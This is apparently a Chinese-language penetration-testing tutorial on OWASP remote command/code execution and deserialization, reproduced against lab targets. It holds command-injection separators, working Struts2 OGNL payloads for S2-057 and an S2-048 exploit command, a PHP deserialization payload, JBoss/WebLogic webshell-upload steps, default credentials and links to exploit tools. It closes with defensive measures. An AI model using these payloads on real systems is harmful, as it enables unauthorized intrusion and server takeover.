OWASP top10-远程代码和命令执行与反序列化
远程代码和命令执行与反序列化
远程系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如我们常见的路由器、防火墙、入侵检测(ids,ips)、运维平台等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。
而如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器 。
现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的"收获"
远程系统命令执行常用函数:
ps:执行系统命令函数: assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(反单引号)
只有这些函数可以执行操作系统命令
实例:
该代码使用了shell_exec,但是对客户端上传的内容没有做任何过滤!
因此,我们可以使用ip地址&ipconfig或者ip地址|ipconfig或者ip地址&&ipconfig等方式绕过,在服务端执行非ping的命令ipconfig
ps:ipconfig也可以替换为其他系统命令
使用|符号时,前面是错误时,后面的才可以执行
例如:
远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
你可以通过“RCE”对应的测试栏目,来进一步的了解该漏洞。
远程代码执行函数
代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
ps:&&phpinfo()
远程执行小结:
远程执行漏洞原理:
为客户端提供了远程系统命令或者代码执行api接口
使用了不安全函数
且, 没有对输入的参数进行严格过滤
导致客户端输入意想不到的命令或者函数
测试:
黑盒测试
burp suit抓包半自动化测试,或使用扫描工具进行扫描测试
白盒测试
拿到源代码后进行逆向反编译,然后:
在源代码中搜查以下执行远程命令函数和远程代码执行函数
(1)执行系统命令函数: assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(反单引号)
(2)代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
(3)文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite,curl_init
(4).htaccess: SetHandler, auto_prepend_file, auto_append_file
(5)dvwa low && Medium & 或&;& High | (代码里面的|后有一个空格)
Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。
pikachu phpinfo();
防御方式:
严格过滤掉&,&&,|,||等特殊符号
使用stripslashes()函数对输入的值中的特殊符号进行转义。
只允许输入数字或者白名单过滤
.....
使用含有已知漏洞的组件
组件(如库,框架和其他软件模块)
框架(struts2)已知漏洞攻防演示
sturts2,之前的web攻防环境搭建中已经详细说明过,是一款java的高效开发框架,可以开发大型java web项目,然而其本身有非常多的命令或者代码至执行漏洞。除此之外还要阿里的thinkPHP框架也是比较常见的php开发框架。
ps:凡是这种开发框架,都有非常多的漏洞,这里主要拿Struts2来举例。
在网上有很多对这些框架漏洞的总结:
struts2:https://www.seebug.org/search/?keywords=struts2
thinkphp:https://blog.csdn.net/qq_37865996/article/details/107468816
如何识别对方使用的struts框架
判断是否使用了struts框架:
url扩展名:struts1的默认扩展名为.do struts2的默认扩展名为.action
判断struts具体版本:
①可以使用nmap等工具进行扫描,不过一般只能白盒测试从人家的struts对应配置文件直接查看:
查看lib中的 struts2-core.jar\META-INF\MANIFEST.MF 找到Implementation-Version 后面对应的数字就是struts2.0的具体版本号
②一些工具已经集成了最新的struts2漏洞,直接拿来挨个试或者世界工具扫描就好了!这里介绍两个:railgun,Struts2漏洞检测2018版,其实只要有需要直接GitHub上下载最新版就ok了
开始struts2漏洞检测
目前为止strts2的高危漏洞主要有:
s2-005、s2-009、s2-013、s2-016、s2-019、devmode、s2-032、s2-037、s2-045、s2-048、s2-052、s2-057
使用到的工具:k8 struts2 exp 20170309、struts2048.py、msf、brupsuit....railgun,Struts2漏洞检测2018版......
(1)s2早期综合利用工具
railgun,Struts2漏洞检测2018版
(2)s2-045漏洞还原
http://192.168.0.127:8080/struts2-showcase/showcase.action
这里拿k8 struts2 exp 20170309工具来举例
将使用struts2框架的web服务的url输入k8,然后就可以进行各种操作了。
(3)s2-48攻击过程还原
struts2 S2-048远程代码执行漏洞exp
C:\>struts048.py http://192.168.32.95:8080/struts2-showcase/integration/saveGangster.action "ipconfig"
这里使用这个工具:struts048.py
使用前,开启python2.7环境变量
(4)s2-052攻击过程还原(针对版本struts 2.5-2.5.12)
Struts S2-052漏洞利用之Meterpreter(CVE-2017-9805)
https://www.cnblogs.com/Hi-blog/p/7510987.html
使用工具:msf
(5) S2-057漏洞复现(需要参数alwaysSelectFullNamespace被设置为true)
Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现
http://192.168.0.127:8080/struts2-showcase//actionChain1.action
使用工具:burpsuit
参考文章:
https://blog.csdn.net/weixin_43625577/article/details/97111575
https://www.sinesafe.com/article/20180823/struts2057.html
注意事项:
首先在struts.xml配置文件添加<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
其次修改配置文件struts-actionchaining.xml 删掉namespace属性,或使用了通配符*
最后把type="chain"改成type="redirectAction"
开始burpsuit抓包攻击
攻击payload:
http://192.168.0.127:8080/struts2-showcase/${(1+1)}/actionChain1.action(用来修改get请求头)
如果返回2,则表示是可控的,存在命令输入漏洞
然后在漏洞点输入一下命令,进行验证:
${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc.exe')}
或:
${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
最新的struts2远程命令输入漏洞
二、反序列化漏洞
非常棒的一篇博文:https://www.cnblogs.com/lcxblogs/p/13539535.html
1、什么是反序列化
序列化就是把一个对象变成可以传输的字符串,目的就是为了方便传输。假设,我们写了一个class,这个class里面存有一些变量。当这个class被实例化了之后,在使用过程中里面的一些变量值发生了改变。以后在某些时候还会用到这个变量,如果我们让这个class一直不销毁,等着下一次要用它的时候再一次被调用的话,浪费系统资源。当我们写一个小型的项目可能没有太大的影响,但是随着项目的壮大,一些小问题被放大了之后就会产生很多麻烦。这个时候PHP就和我们说,你可以把这个对象序列化了,存成一个字符串,当你要用的时候再放他出来就好了(反序列化)。在我们讲PHP反序列化的时候,基本都是围绕着serialize(),unserialize()这两个函数。
例如:
序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:
class S{ public $test="pikachu"; } $s=new S(); //创建一个对象 echo serialize($s); //把这个对象进行序列化 序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";} O:代表object 1:代表对象名字长度为一个字符 S:对象的名称 1:代表对象里面有一个变量 s:数据类型 4:变量名称的长度 test:变量名称 s:数据类型 7:变量值的长度 pikachu:变量值
反序列化unserialize()
就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}"); echo $u->test; //得到的结果为pikachu
详细参考:https://chybeta.github.io/2017/06/17/%E6%B5%85%E8%B0%88php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
2、反序列化漏洞产生的原理
serialize() 和 unserialize() 在 PHP内部实现上是没有漏洞的,之所以会产生反序列化漏洞是因为应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。
当传给 反序列化unserialize() 的参数可控,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。用户就可以注入精心构造的 payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。
常见的几个魔法函数
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后立即被调用
3、PHP,Java反序列化漏洞实战
php漏洞举例:
class S{ var $test = "pikachu"; function __destruct(){ echo $this->test; } } $s = $_GET['test']; @$unser = unserialize($a); payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
在线反序列化工具:https://www.w3cschool.cn/tools/index?name=unserialize
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
ps:
->在php里是调用对象方法很或者属性的运算符。在一个类中,类的函数需要调用自身的方法或者属性时需要用$this->来调用,而在类的实例中,也是通过->来调用的,只是前面的变量不是$this
<script>alert('xss')</script>为我们替换了变量值“pikachu“后的payload
PHP反序列化漏洞实战小结:
①反序列化漏洞攻击的点为:序列化后的变量值。
②反序列化攻击成功的前提是:反序列化时的参数(变量值)可控,且php序列化使用了不正当的魔法函数
③这样的测试限制了我们只能白盒测试,但是一旦漏洞出现影响的缺失全球化危机!
由于php至少还有魔术符号可以使用,而java跟本就没有且参数可控,所以java反序列化漏洞要比php多的多!
以下举例,基本上都是java发序列化漏洞。
jboss反序列化漏洞还原
默认后台地址:http://localhost:8080/jmx-console
jboss默认端口:8080 帐号和密码admin
历史漏洞参考;https://www.seebug.org/appdir/JBoss
https://www.jianshu.com/p/e34062e0a6f1
新漏洞利用工具下载:https://github.com/yunxu1/jboss-_CVE-2017-12149
老漏洞综合利用工具下载:https://download.csdn.net/download/sinat_26474359/10650591
http://192.168.0.127:7474/test3693/
http://192.168.32.104:7474/invoker/JMXInvokerServlet
使用工具:反序列化综合利用程序
网上还有很多针对性的漏洞测试脚本工具,比如下面这些
部署webshel的话可以通过dir命令查找到jboss的bin目录例如:C:/jboss/bin,然后将一句话木马传送到该目录下链接就ok了。
Weblogic反序列化漏洞还原
启动weblogic startweblogic.cmd
http://192.168.32.104:7001/console/login/LoginForm.jsp
参考https://www.0dayhack.com/post-883.html)
Weblogic 常见漏洞有:
①弱口令帐号和密码都是weblogic
②Java 反序列化漏洞操作(CVE-2018-2628)
同样的,也可以使用下面这个综合工具:
上传木马脚本后,直接对木马脚本进行访问就OK了。
③XML Decoder 反序列化漏洞操作(CVE-2017-10271)
④反序列化漏洞(CVE-2019-2725 )
⑤任意文件上传漏洞操作(CVE-2018-2894)
未授权访问路径:http://192.168.0.127:7001/ws_utc/config.do
Weblogic默认路径:
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\tmp\WSTestPageWorkDir
我们改成以下路径
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wstestclient\i7n5e1\war\css
更改好当前工作路径并提交后,点击安全打开添加框,随意输入名字和密码选择文件(这里上传payload)
木马上传是使用burpsuit进行抓包重发,便于查看返回包详细信息。
木马上传上去之后,访问方式如下:
http://192.168.0.127:7001/ws_utc/css/config/keystore/1567568546449_2019.jsp
(1567568546449是个随机号,就是在刚才的上传过程中使用burpsuit进行抓包查看的)
⑥SSRF 漏洞(需要安装Weblogic时选择UDDI组件)
使用burpsuit工具,可以用来探测内网(可参考:https://www.jianshu.com/p/97b157a20108)
⑦2020年新出的远程代码执行漏洞(CVE-2020-14644)
小结:使用到的工具:k8weblogic,综合反序列化java小程序,burpsuit...jboos反序列化小工具....网上有还有很多py脚本可以直接下载使用!
小结:
如何识别jboos和weblogic:
①通过指纹识别工具进行识别
②两个页面长得也不一样呀
③总之可以参考之前的敏感信息收集,方法多的是。
Elasticsearch中间件远程命令执行检测
使用检测工具:Elasticsearch终极漏洞利用工具
三、安全防范
1、升级中间件
一般厂家会第一时间升级,我们只需要及时更新就好.至少先防御掉nday漏洞吧!
2、严格控制反序列化过程
严格控制传入变量参数(拒绝客户端参数可控)
严谨使用魔法函数
使用认证签名验证反序列化调用来源;黑白名单过滤传入变量参数,非常规的类,异常调用链;严谨使用魔法函数;还可以使用RASP将整个应用都监控起来。
3、安全配置好php相关参数
(远程执行和反序列化酌情使用)
通过Php配置文件php.ini里面有个disable_functions = 配置,这个禁止某些php函数,
服务器便是用这个来禁止php的执行命令函数。
例如:
disable_functions =system,passthru,shell_exec,exec,popen
便禁止了用这些函数来执行系统命令
ps:这里使用的函数指的就上文提到的远程系统命令和代码执行的函数
4、严格控制参数输入
(主要针对远程执行漏洞)
使用白名单或者特殊字符转义(stripslashes())方式进行严格过滤